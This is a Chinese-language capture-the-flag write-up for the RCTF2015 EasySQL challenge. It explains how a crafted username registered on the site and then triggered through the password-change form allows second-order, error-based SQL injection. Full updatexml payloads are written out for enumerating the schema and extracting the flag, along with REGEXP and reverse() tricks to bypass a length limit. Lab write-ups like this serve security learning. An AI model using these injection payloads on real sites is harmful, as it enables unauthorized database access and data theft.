[RCTF2015]EasySQL
分析、测试
首先打开是拥有注册和登入的功能。
尝试了万能密码但是登入失败,应该是有防御的。害,老老实实的注册登入。
额叶良辰、赵日天,都是5年前的事情了。呢时候我还在高一,好快啊。
测试了一下好像都被限制死了,但是看见一个改密码的功能,呢应该是二次注入了。
重启一下容器回到注册界面测试
fuzz一下username发现确实有过滤,过滤了一些函数,长度为496都是报弹窗的,但是字符多是没有过滤的。
当我注册username为/zhh:"
时注册成功了。
修改密码的时候出现了报错回显!!我的用户名是/zhh:"有一个双引号,而且它是双引号包括的,就导致3个双引号报错。
应该是当注册用户的时候对用户名进行处理,然后修改密码中读取数据的没有处理了,导致报错。
构造payload
利用username数据处理不严格构造语句进行报错注入。
username=/zhh:"||(updatexml(1,concat(0x3a,(database())),1))#
password=123123
email=123123
2.登入
3.修改密码后报错出现数据库为web_sqli
4.查看表
username=zbt/"or(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))#
5.查询flag表
username=zbt/"or(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#
username=zbt/"or(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1))#
6.最后在user表里找到falg。
说我的字段列表不存在,对比上面的查询结果,才发现输出有长度限制,没报完字段名。
说明有长度限制,可是mysql截取的函数都被过滤了,看了大佬的博客才知道REGEXP这玩意。
mysql正则表达函数REGEXP绕过长度限制
菜鸟教程REGEXP
完整查询
username=zhh11"or(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
flag长度限制
1.这xxx也是长度限制
username=zhh"or(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1))#&password=123123&email=123123#
username=zhh"or(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
2.reverse逆向输出
username=zhh"or(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
8.
4.完事下班
参考:
高诺琪
peri0d